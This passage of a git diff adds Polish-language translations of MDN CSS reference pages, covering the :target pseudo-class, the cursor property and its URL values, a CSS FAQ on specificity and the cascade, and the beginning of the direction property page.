+ <li><a href="/en-US/docs/Web/CSS/Specificity">CSS Specificity</a></li>
+</ul>
diff --git a/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html b/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html
new file mode 100644
index 0000000000..ff4ec92e20
--- /dev/null
+++ b/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html
@@ -0,0 +1,64 @@
+---
+title: 'Użycie pseudoklasy :target w selektorach'
+slug: 'Web/CSS/CSS_Selectors/Użycie_pseudoklasy_:target_w_selektorach'
+translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+---
+<div>{{CSSRef}}</div>
+
+<p>Czasami adres URL wskazuje na konkretny fragment dokumentu, ale użytkownikowi może być ciężko to zauważyć. Sprawdź, jak można łatwo zwrócić uwagę użytkownika na target naszego adresu URL za pomocą CSS.</p>
+
+<h2 id="Picking_a_Target" name="Picking_a_Target">Wybór targetu</h2>
+
+<p><a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">Pseudoklasy</a> {{cssxref(":target")}} używa się, aby ostylować targetowany element adresu URL, który zawiera identyfikator fragmentu.</p>
+
+<p>Przykładowo, adres URL <code><span class="nowiki">http://developer.mozilla.org/en/docs/Using_the_:target_selector#example</span></code> zawiera identyfikator fragmentu o treści <code>#example</code>. W HTML identyfikatory fragmentu to wartości atrybutów <code>id</code> lub <code>name</code> jako że atrybuty te dzielą tę samą przestrzeń na nazwy. A więc adres URL z naszego przykładu wskazywałby nam część strony o tytule "example".</p>
+
+<p>Przypuśćmy, że chcesz ostylować każdy element <code>h2</code>, który jest targetem URL i nie chcesz, żeby elementy innego rodzaju dostały ostylowane w ten sposób. To proste:</p>
+
+<pre class="brush: css">h2:target { font-weight: bold; }</pre>
+
+<p>Można też stworzyć style, które dotyczą jedynie konkretnego fragmentu naszej strony. Robi się to używając tego samego identyfikatora, który znajduje się w naszym URL. Tak więc aby dodać obramowanie do fragmentu strony zawierającego element <code>#example</code>, napisalibyśmy:</p>
+
+<pre class="brush: css">#example:target { border: 1px solid black; }</pre>
+
+<h2 id="Targeting_the_Root_Element" name="Targeting_the_Root_Element">Targetowanie wszystkich elementów</h2>
+
+<p>Jeżeli chcemy stworzyć uniwersalne stylowanie, którego będziemy używać do wszystkich targetowanych elementów, możemy użyć uniwersalnego selektora:</p>
+
+<pre class="brush: css">:target { color: red; }
+</pre>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<p>W poniższym przykładzie jest pięć odnośników, które przenoszą nas do różnych elementów należących do jednego dokumentu. Wybierając link "Pierwszy" sprawi, że <code>&lt;h1 id="one"&gt;</code> zostanie naszym pierwszym targetowanym elementem. Zwróć uwagę, że dokument zostać przewinięty przewinąć do nowej pozycji, jako że targetowane elementy umieszcza się w miarę możliwości na górze okna przeglądarki.</p>
+
+<div id="example">
+<pre class="brush: html">&lt;h4 id="jeden"&gt;...&lt;/h4&gt; &lt;p id="dwa"&gt;...&lt;/p&gt;
+&lt;div id="trzy"&gt;...&lt;/div&gt; &lt;a id="cztery"&gt;...&lt;/a&gt; &lt;em id="piec"&gt;...&lt;/em&gt;
+
+&lt;a href="#jeden"&gt;Pierwszy&lt;/a&gt;
+&lt;a href="#dwa"&gt;Drugi&lt;/a&gt;
+&lt;a href="#trzy"&gt;Trzeci&lt;/a&gt;
+&lt;a href="#cztery"&gt;Czwarty&lt;/a&gt;
+&lt;a href="#piec"&gt;Piąty&lt;/a&gt;</pre>
+</div>
+
+<h2 id="Conclusion" name="Conclusion">Podsumowanie</h2>
+
+<p>W przypadkach, gdy identyfikator fragmentu wskazuje na dany kawałek dokumentu, użytkownik może nie być pewny, którą część dokumentu ma czytać. Dzięki ostylowaniu targetu adresu URL można tego uniknąć.</p>
+
+<h2 id="Related_Links" name="Related_Links">Zobacz też</h2>
+
+<ul>
+ <li>{{cssxref(":target")}}</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Eric Meyer, Standards Evangelist, Netscape Communications</li>
+ <li>Original Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
diff --git a/files/pl/web/css/cursor/index.html b/files/pl/web/css/cursor/index.html
new file mode 100644
index 0000000000..74575073a9
--- /dev/null
+++ b/files/pl/web/css/cursor/index.html
@@ -0,0 +1,156 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/cursor
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>cursor</code> określa kursor myszy wyświetlany, kiedy wskaźnik myszy jest nad elementem.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">cursor: &lt;std-cursor-name&gt; | &lt;url&gt; [&lt;x&gt; &lt;y&gt;]? [, &lt;url&gt; [&lt;x&gt; &lt;y&gt;]?]* | {{ Cssxref("inherit") }} ;
+</pre>
+
+<pre class="eval">cursor: [&lt;url&gt; [&lt;x&gt; &lt;y&gt;]?,]* &lt;std-cursor-name&gt; ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;url&gt; {{ mediawiki.external(' ') }}? </dt>
+ <dd>URL własnego kursora. Może być podany więcej niż jeden w wypadku, kiedy niektóre typy obrazów nie są obsługiwane. Pozostałe adresy URL muszą być podane jako ostatnie. Zobacz <a href="pl/U%c5%bcycie_warto%c5%9bci_URL_dla_w%c5%82asno%c5%9bci_cursor">Użycie wartości URL dla własności cursor</a> po więcej informacji.</dd>
+ <dt>&lt;std-cursor-name&gt;</dt>
+ <dd>Jedna z nazw kursorów podanych w poniższej tabeli.</dd>
+</dl>
+
+<dl>
+ <dt><code>default</code> </dt>
+ <dd>domyślny kursor (zazwyczaj strzałka)</dd>
+ <dt><code>auto</code> </dt>
+ <dd>odpowiednik <code>text</code>, kiedy jest ponad tekstem i <code>default</code> w innych przypadkach</dd>
+ <dt><code>crosshair</code> </dt>
+ <dd>kursor w kształcie krzyżyka, często używany do wskazania zaznaczenia w bitmapie</dd>
+ <dt><code>pointer</code> </dt>
+ <dd>kursor używany nad linkami (zwykle ręka)</dd>
+ <dt><code>move</code> </dt>
+ <dd>kursor przenoszenia</dd>
+ <dt><code>e-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru prawej krawędzi pudełka</dd>
+ <dt><code>ne-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru górnego prawego rogu pudełka</dd>
+ <dt><code>nw-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru górnego lewego rogu pudełka</dd>
+ <dt><code>n-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru górnej krawędzi pudełka</dd>
+ <dt><code>se-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru dolnego prawego rogu pudełka</dd>
+ <dt><code>sw-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru dolnego lewego rogu pudełka</dd>
+ <dt><code>s-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru dolnej krawędzi pudełka</dd>
+ <dt><code>w-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru lewej krawędzi pudełka</dd>
+ <dt><code>text</code> </dt>
+ <dd>kursor wskazujący tekst, który może być zaznaczony (zwykle belka w kształcie I)</dd>
+ <dt><code>wait</code> </dt>
+ <dd>kursor wskazujący, że program jest zajęty (czasami klepsydra lub zegarek)</dd>
+ <dt><code>help</code> </dt>
+ <dd>kursor wskazujący, że dostępna jest pomoc</dd>
+ <dt><code>progress</code> </dt>
+ <dd>kursor wskazujący, że program jest jest zajęty, ale użytkownik może nadal oddziaływać z nim (w przeciwieństwie do <code>busy</code>)</dd>
+ <dt><code>copy</code> </dt>
+ <dd>kursor pokazujący, że coś może być skopiowane</dd>
+ <dt><code>alias</code> </dt>
+ <dd>kursor wskazujący, że alias lub skrót jest do utworzenia</dd>
+ <dt><code>context-menu</code> </dt>
+ <dd>kursor wskazujący, że menu kontekstowe jest dostępne pod kursorem</dd>
+ <dt><code>cell</code> </dt>
+ <dd>kursor wskazujący, że komórki mogą być zaznaczone</dd>
+ <dt><code>not-allowed</code> </dt>
+ <dd>kursor pokazujący, że coś nie może być zrobione</dd>
+ <dt><code>col-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru kolumn poziomo</dd>
+ <dt><code>row-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru wierszy pionowo</dd>
+ <dt><code>no-drop</code> </dt>
+ <dd>kursor pokazujący, że opuszczenie nie jest dozwolone w aktualnym położeniu</dd>
+ <dt><code>vertical-text</code> </dt>
+ <dd>kursor wskazujący, że poziomy tekst może być zaznaczony (zwykle boczna belka w kształcie I)</dd>
+ <dt><code>all-scroll</code> </dt>
+ <dd>kursor pokazujący, że coś może być przewijane w dowolnym kierunku (przesuwane)</dd>
+ <dt><code>nesw-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru w kierunkach górny prawy lub dolny lewy</dd>
+ <dt><code>nwse-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru w kierunkach górny lewy lub dolny prawy</dd>
+ <dt><code>ns-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru w górę lub w dół</dd>
+ <dt><code>ew-resize</code> </dt>
+ <dd>kursor do zmiany rozmiaru w lewo lub prawo</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/cursor.html">Zobacz przykład</a></p>
+
+<pre>Liniowy:
+
+&lt;span style="cursor: crosshair"&gt;Jakiś tekst&lt;/span&gt;
+
+Zewnętrzny:
+
+.pointer {
+ cursor: pointer;
+}
+.move {
+ cursor: move;
+}
+
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Ta własność działa na starszych przeglądarkach, jednak nie wszystkie wartości są w pełni wspierane.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/ui.html#propdef-cursor">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">css3-ui</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1.5</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>7</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html b/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html
new file mode 100644
index 0000000000..f6e786ee52
--- /dev/null
+++ b/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html
@@ -0,0 +1,41 @@
+---
+title: Użycie wartości URL dla własności cursor
+slug: Web/CSS/cursor/Użycie_wartości_URL_dla_własności_cursor
+tags:
+ - CSS
+ - CSS_2.1
+ - Programowanie_WWW
+ - Programowanie_dla_wielu_przeglądarek
+ - Wszystkie_kategorie
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p> </p>
+<p><a href="pl/Gecko">Gecko</a> 1.8 (<a href="pl/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0) wspiera wartości URL dla <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">własności cursor CSS 2/2.1</a>. To pozwala używać zewnętrzne obrazki jako kursory myszy — można użyć każdego formatu wspieranego przez Gecko.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<p>Składnia dla tej własności:</p>
+<pre class="eval">cursor: [&lt;url&gt;,]* słowo_kluczowe;
+</pre>
+<p>To oznacza, że można podać zero lub więcej adresów URL (oddzielonych przecinkiem), a na końcu musi pojawić się jedno ze słów kluczowych zdefiniowanych w specyfikacji <a href="pl/CSS">CSS</a>, takie jak <code>auto</code> czy <code>pointer</code>.</p>
+<p>Na przykład, taka wartość jest dozwolona:</p>
+<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://www.example.com/bar.gif</span>), auto;
+</pre>
+<p>Najpierw nastąpi próba pobrania pliku foo.cur. Jeżeli ten plik nie istnieje, lub jest nieprawidłowy z jakiegoś powodu, nastąpi próba pobrania bar.gif, a jeśli to się nie uda, zostanie użyta wartość <code>auto</code>.</p>
+<p>Wsparcie dla <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">składni</a> CSS3 dla wartości własności cursor zostało dodane w Gecko 1.8beta3 (Deer Partk Alpha 2); zatem działa ono w Firefoksie 1.5. Pozwala to na określanie punktu wiązania kursora, który <b>musi</b> być wewnątrz wymiarów obrazka kursora; koordynaty na zewnątrz obrazka będą przybliżane do krawędzi (n.p. ujemna wartość będzie interpretowana jako 0, a wartości wykraczające poza wymiary obrazka będą przycinane do najbliższego piksela w obrazku). Jeśli nie zostaną podane, dla plików CUR i XBM wartości zostaną pobrane z plików, a dla pozostałych zostanie ustalony lewy górny róg obrazka. Przykładem składni CSS3 jest:</p>
+<pre class="eval">cursor: url(foo.png) 4 12, auto;
+</pre>
+<p>Pierwsza liczba to wartość x, a drugi y. W tym przypadku punkt wiązania zostanie ustawiony w pikselu (4,12) licząc od lewego górnego rogu (0,0).</p>
+<h3 id="Ograniczenia" name="Ograniczenia">Ograniczenia</h3>
+<p>Można używać wszystkich formatów obrazków wspieranych przez Gecko. To oznacza, że możesz użyć BMP, JPG, CUR, GIF, itp. Jednak ANI nie jest wspierane. I nawet, jeżeli zostanie podany animowany GIF, kursor nie będzie animowany. To ograniczenie zostanie usunięte w przyszłych wersjach.</p>
+<p>Gecko, samo w sobie, nie tworzy żadnych ograniczeń, co do rozmiaru kursora. Jednak powinieneś ograniczyć obrazek do 32x32 dla maksymalnej kompatybilności z różnymi systemami operacyjnymi. W szczególności kursory większe, niż podany rozmiar nie będą działały na Windows 9x (95, 98, ME).</p>
+<p>Przezroczyste kursory nie są wspierane na systemie Windows w wersjach wcześniejszych niż XP. To ograniczenie systemu operacyjnego. Przezroczystość działa na pozostałych platformach.</p>
+<p>Tylko wydania Mozilli na platformy Windows, OS/2 i Linux (z GTK+ 2.4 lub nowszym) wspierają wartości URL dla kursorów. Wsparcie dla innych platform może zostać dodane w przyszłości (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})</p>
+<h3 id="Kompatybilno.C5.9B.C4.87_z_innymi_przegl.C4.85darkami" name="Kompatybilno.C5.9B.C4.87_z_innymi_przegl.C4.85darkami">Kompatybilność z innymi przeglądarkami</h3>
+<p>Microsoft Internet Explorer także wspiera wartości URI dla własności cursor. Jednak wspiera wyłącznie formaty CUR i ANI.</p>
+<p>Jest także znacznie mniej restrykcyjny w zakresie składni. To oznacza, że wartości takie jak:</p>
+<pre class="eval">cursor: url(foo.cur);
+</pre>
+<p>lub:</p>
+<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto;
+</pre>
+<p>będą działały w MSIE, ale nie będą w Gecko. Dla kompatybilności z Gecko i zgodności ze specyfikacja CSS, zawsze na początku należy podać URI, oraz użyć dokładnie jednego słowa kluczowego na końcu.</p>
+<p> </p>
diff --git a/files/pl/web/css/częste_pytania_o_css/index.html b/files/pl/web/css/częste_pytania_o_css/index.html
new file mode 100644
index 0000000000..12a84d8c20
--- /dev/null
+++ b/files/pl/web/css/częste_pytania_o_css/index.html
@@ -0,0 +1,162 @@
+---
+title: Częste pytania o CSS
+slug: Web/CSS/Częste_pytania_o_CSS
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<p>
+</p>
+<h3 id="Cz.C4.99sto_zadawane_pytania" name="Cz.C4.99sto_zadawane_pytania"> Często zadawane pytania </h3>
+<h4 id="Stworzy.C5.82em_poprawny_CSS.2C_ale_przegl.C4.85darka_go_.C5.BAle_wy.C5.9Bwietla" name="Stworzy.C5.82em_poprawny_CSS.2C_ale_przegl.C4.85darka_go_.C5.BAle_wy.C5.9Bwietla"> Stworzyłem poprawny CSS, ale przeglądarka go źle wyświetla </h4>
+<p>Jeśli chcesz, aby Twoja przeglądarka poprawnie wyświetlała strony stworzone zgodnie ze standardami HTML/CSS, to musisz zadeklarować na początku każdego pliku HTML Deklarację Typu Dokumentu (DTD - Document Type Declaration).
+</p><p>Nowoczesne przeglądarki obsługują dwa główne tryby wyświetlania:
+</p>
+<ul><li> <i>Tryb zgodności wstecznej</i> (<i>Quirks Mode</i>): tryb pozwalający prawidłowo wyświetlać strony oparte na niestandardowych metodach renderowania. Te metody były używane w przeglądarkach zanim zaimplementowano obsługę standardów W3C.
+</li><li> <i>Tryb standardów</i> (<i>Standard Mode</i>): w tym trybie przeglądarka ma ściśle stosować się do standardów W3C.
+</li></ul>
+<p>Jeśli Twoja deklaracja (DTD) jest niepełna, przestarzała lub jej brak, to przeglądarki będą wyświetlały strony używając trybu zgodności wstecznej.
+</p><p>Oto lista najczęściej używanych DTD:
+</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+</pre>
+<h4 id="R.C3.B3.C5.BCnice_mi.C4.99dzy_id_i_class" name="R.C3.B3.C5.BCnice_mi.C4.99dzy_id_i_class"> Różnice między <code>id</code> i <code>class</code> </h4>
+<p>Bloki i elementy HTML-a mogą mieć atrybut <code>id</code> i/lub <code>class</code>. Atrybut <code>id</code> pozwala nadać unikalną nazwę wybranemu elementowi. W jednym dokumencie nie może być dwóch elementów o tej samej nazwie (identyfikatorze). Atrybut <code>class</code> pozwala na grupowanie elementów w określonej klasie. Z założenia identyczny atrybut jest stosowany dla wielu elementów. CSS pozwala zdefiniować style, które mają być użyte do elementów z odpowiednim atrybutem <code>id</code> i/lub <code>class</code>.
+</p><p>Używaj styli zależnych od <code>id</code>, gdy chcesz ograniczyć ich działanie do konkretnego bloku lub elementu. Dla przykładu - dobrym miejscem na użycie atrybutu <code>id</code> jest blok, w którym umieszczamy menu, ponieważ występuje on tylko raz na stronie.
+</p><p>Używaj atrybutu <code>class</code>, gdy chcesz aby ten sam styl był stosowany do grupy elementów.
+</p><p>Zobacz <a href="pl/CSS/Na_pocz%c4%85tek/Selektory">Selektory CSS</a>
+</p>
+<h4 id="Przywracanie_domy.C5.9Blnej_warto.C5.9Bci_w.C5.82asno.C5.9Bci" name="Przywracanie_domy.C5.9Blnej_warto.C5.9Bci_w.C5.82asno.C5.9Bci"> Przywracanie domyślnej wartości własności </h4>
+<p>W CSS2 nie ma możliwości ustawienia standardowej wartości dla własności CSS. Jedyna droga, aby przywrócić standardową wartość, to przedeklarowanie (musisz znać standardową wartość, ponieważ CSS nie posiada słowa kluczowego <i>default</i>)
+</p><p>Musisz zachować szczególną ostrożność pisząc reguły stylów, gdy używasz selektorów (np. selektorów po nazwie znacznika jak na przykład <code>p</code>), które możesz chcieć nadpisać bardziej szczegółowymi regułami (jak te przy użyciu ID lub selektorów klas), ponieważ oryginalna standardowa wartość nie może być automatycznie odzyskana.
+</p><p>Z powodu <i>kaskadowej</i> natury CSS dobrą praktyką jest definiowanie reguł stylów najszczegółowiej jak się tylko da, żeby wpływały tylko na to, co chcesz.
+</p>
+<h4 id="Style_pochodne" name="Style_pochodne"> Style pochodne </h4>
+<p>CSS nie pozwala na definiowanie stylów w regułach innego, głównie z powodu <i><b>user agents performance issues</b></i> (<a class="external" href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer words about it</a>).
+</p><p>W każdym razie, dobrze zorganizowany dokument HTML nie potrzebuje <i>zagnieżdżonych stylów</i>, dzięki <i>kaskadowej</i> naturze stylów. W rzeczywistości, jeśli potrzebujesz dokonać drobnej zmiany konkretnej reguły, stwórz oddzielną regułę zawierającą tylko zmiany. W <a href="pl/HTML">HTML</a>-u zastosuj główną regułę, a potem tą ze zmianami (patrz następna sekcja na temat przydzielania kilku klas).
+</p>
+<h4 id="Przydzielanie_kilku_klas" name="Przydzielanie_kilku_klas"> Przydzielanie kilku klas </h4>
+<p>Elementy HTML-a mogą być opisane przez kilka klas. Robi się to wymieniając nazwy kolejnych klas w atrybucie <code>class</code>, oddzielając kolejne nazwy spacjami.
+</p>
+<pre>&lt;style type="text/css"&gt;
+.firstclass { background: black; color: white; }
+.secondclass { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="firstclass secondclass"&gt;
+... treść ...
+... treść ...
+... treść ...
+&lt;/div&gt;
+</pre>
+<p>Jeśli ta sama własność jest zadeklarowana w dwóch regułach, to konflikt rozwiązywany jest najpierw poprzez ich specyfikę, a później kolejność w arkuszu stylów. Kolejność klas w atrybucie <code>class</code> jest nieistotna.
+</p>
+<h4 id="W.C5.82asno.C5.9Bci_styl.C3.B3w.2C_kt.C3.B3re_nie_dzia.C5.82aj.C4.85" name="W.C5.82asno.C5.9Bci_styl.C3.B3w.2C_kt.C3.B3re_nie_dzia.C5.82aj.C4.85"> Własności stylów, które nie działają </h4>
+<p>Często się zdarza, że poprawnie zdefiniowane style są ignorowane. Nie wynika to ani z błędu przeglądarki, ani z błędnej składni w CSS. Zwykle jest to zachowanie jak najbardziej prawidłowe, wynikające bezpośrednio ze składni i kolejności intepretacji reguł CSS.
+</p><p>Najczęstsze powody ignorowania niektórych styli to:
+</p>
+<ul><li> hierarchia elementów HTML'a
+</li><li> <i><b>jawnie</b></i> przedefiniowane reguły stylów
+</li><li> <i><b>użycie skróconej formy właściwości</b></i>
+</li><li> używanie selektora: <code>*</code>
+</li><li> kolejność interpretacji reguł CSS
+</li></ul>
+<p>Aby zlokalizować omówiony powyżej problem narzędziem zwanym " Inspektor DOM", w którym będziemy mogli zobaczyć jego lokalizację.
+</p><p><b>Hierarchia elementów HTML-a</b>
+</p><p>Sposób, w jaki style CSS są stosowane do elementów HTML, zależy od hierarchii samych elementów HTML. Ważne jest, aby to zapamiętać, ponieważ reguła potomka jest zawsze ważniejsza od reguły elementu nadrzędnego.
+</p>
+<pre>#section { font-weight: bold; }
+.redtext { font-weight: normal; color: red; }
+
+&lt;div id="section"&gt;
+ To jest pogrubiony tekst
+ &lt;span class="redtext"&gt; ten ma normalną grubość, lecz jest czerwony,&lt;/span&gt;
+ i znów pogrubiony
+&lt;/div&gt;
+</pre>
+<p>Wydaje się to dość oczywiste, gdyż wynika z prostoty kaskadowych arkuszy stylów. Gdy w przypadku skomplikowanych hierarchii HTML jakaś reguła wydaje sie być ignorowana, najpierw sprawdź, czy podejrzany element nie jest wewnątrz innego ze zdefiniowanym innym stylem.
+</p><p><br>
+<b>Przedefiniowywanie reguł stylów</b>
+</p><p>W arkuszach stylów kolejność <b>jest</b> istotna. W praktyce, jeśli zdefiniujesz regułę, a następnie zmienisz tą definicję w dalszej części arkusza stylów to użyta będzie ostatnia definicja.
+</p>
+<pre>#sekcja { font-weight: bold; }
+.czerwony_tekst { color: red; }
+/* inne reguły */
+/* inne reguły */
+/* inne reguły */
+.czerwony_tekst { font-weight: normal; }
+
+&lt;div id="sekcja"&gt;
+ Ten tekst jest pogrubiony,
+ &lt;span class="redtext"&gt; ten jest normalny i czerwony,&lt;/span&gt;
+ a ten znów pogrubiony.
+&lt;/div&gt;
+</pre>
+<p>Aby uniknąć tego typu błędów, spróbuj definiować reguły tylko raz dla konkretnego selektora i należącej do niego grupy reguł.
+</p><p><br>
+<b>Używanie skrótów własności</b>
+</p><p>Używanie skrótów własności do definiowania reguł stylów jest dobre, ponieważ używa zwięzłej składni. Używanie ~shorthand~ tylko z niektórymi atrybutami jest możliwe i poprawne, ale trzeba pamiętać, że niezadeklarowane atrybuty są automatycznie resetowane do wartości standardowych. Oznacza to, że poprzednia reguła dla pojedynczego atrybutu może być bezwarunkowo nadpisana.
+</p>
+<pre>#sekcja { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.czerwony_tekst { font: 14px Arial; color: red; }
+
+&lt;div id="sekcja"&gt;
+ To jest pogrubiona 12-o pikselowa Verdana,
+ &lt;span class="czerwony_tekst"&gt;to jest normalny 14-o pikselowy, czerwony Arial,&lt;/span&gt;
+ i znów 12-o pikselowa Verdana
+&lt;/div&gt;
+</pre>
+<p>W poprzednim przykładnie problem w regułach należących do różnych elementów, ale to samo może się zdarzyć dla tego samego elementu, ponieważ kolejność reguł <b>jest</b> istotna.
+</p>
+<pre>#sekcja {
+ font-weight: bold;
+ font: 12px Verdana; /* skrót nadpisuje pogrubienie i zwraca normalny */
+}
+</pre>
+<p><br>
+<b>Używanie selektora: <code>*</code></b>
+</p><p>Selektor gwiazdki (<code>*</code>) pozwala na odniesienie się do dowolnego elementu i powinien być używany ze szczególną ostrożnością, ponieważ może być trudne kontrolowanie elementów, do których reguły są dodawane.
+</p>
+<pre>body * { font-weight: normal; }
+#sekcja { font: 12px Verdana; }
+.pogrubiony_tekst { font-weight: bold; }
+.czerwony_tekst { color: red; }
+
+&lt;div id="sekcja"&gt;
+ Ten jest normalny,
+ &lt;span class="pogrubiony_tekst"&gt;
+ &lt;span class="czerwony_tekst"&gt; ten jest normalny i czerwony,&lt;/span&gt;
+ &lt;/span&gt;
+ i znów normalny.
+&lt;/div&gt;
+</pre>
+<p>W tym przykładzie <code>body *</code> pozwala na zastosowanie reguł do wszystkich elementów wewnątrz body, na każdym poziomie hierarchii - także do <i>czerwony_tekst</i>. Tak więc <code>font-weight: bold;</code> zastosowany do klasy <i>pogrubiony_tekst</i> jest nadpisane przez <code>font-weight: normal;</code> klasy <i>czerwony_tekst</i>.
+</p><p><b>Starszeństwo w CSS</b>
+</p><p>Gdy stosowane są różne reguły dla konkretnego elementu to która z nich zostanie zastosowana zależy od starszeństwa stylów. Style inline (liniowe, takie jak span) są interpretowane na początku, potem te oparte na identyfikatorze (<code>id</code>), następnie klasie (<code>class</code>) i ewentualnie znajdujące się wewnątrz elementu (<code>style=""</code>).
+</p><p><br>
+</p>
+<pre>div { color: black; }
+#pomaranczowy { color: orange; }
+.zielony { color: green; }
+
+&lt;div id="pomaranczowy" class="zielony" style="color: red;"&gt;To jest czerwony tekst&lt;/div&gt;
+</pre>
+<p>Więcej informacji na temat działania selektorów można znaleźć w sieci → <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a>
+</p>
+<h4 id="Co_wykonuje_w.C5.82asno.C5.9B.C4.87_-moz-.2A.3F" name="Co_wykonuje_w.C5.82asno.C5.9B.C4.87_-moz-.2A.3F"> Co wykonuje własność -moz-*? </h4>
+<p>Zobacz: <a href="pl/Rozszerzenia_CSS_Mozilli">Rozszerzenia CSS Mozilli</a>.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Common_CSS_Questions", "zh-tw": "zh_tw/CSS_\u4e00\u822c\u554f\u984c" } ) }}
diff --git a/files/pl/web/css/direction/index.html b/files/pl/web/css/direction/index.html
new file mode 100644
index 0000000000..cc214c0395
--- /dev/null
+++ b/files/pl/web/css/direction/index.html
@@ -0,0 +1,50 @@
+---
+title: direction
+slug: Web/CSS/direction
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/direction
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Własność <code>direction</code> powinna być ustawiana w celu dobrania kierunku tekstu: <code>rtl</code> dla hebrajskiego lub arabskiego tekstu oraz <code>ltr</code> dla innych pism. Normalnie powinno być to robione raczej jako cześć dokumentu (np. poprzez użycie atrybutu <code>dir</code> w HTML) niż poprzez bezpośrednie użycie CSS.
+</p><p>Własność ustawia bazowy kierunek tekstu elementów blokowych oraz kierunek osadzonych utworzonych przez własność {{ Cssxref("unicode-bidi") }}. Ustawia również domyślne wyrównanie tekstu i elementów blokowych oraz kierunek, w jakim komórki następują w wierszu tabeli.
+</p>
+<ul><li> {{ Xref_cssinitial() }}: {{ Cssxref("ltr") }}
+</li><li> Stosowana do: wszystkich elementów
+</li><li> {{ Xref_cssinherited() }}: tak
+</li><li> Procenty: niedostępne
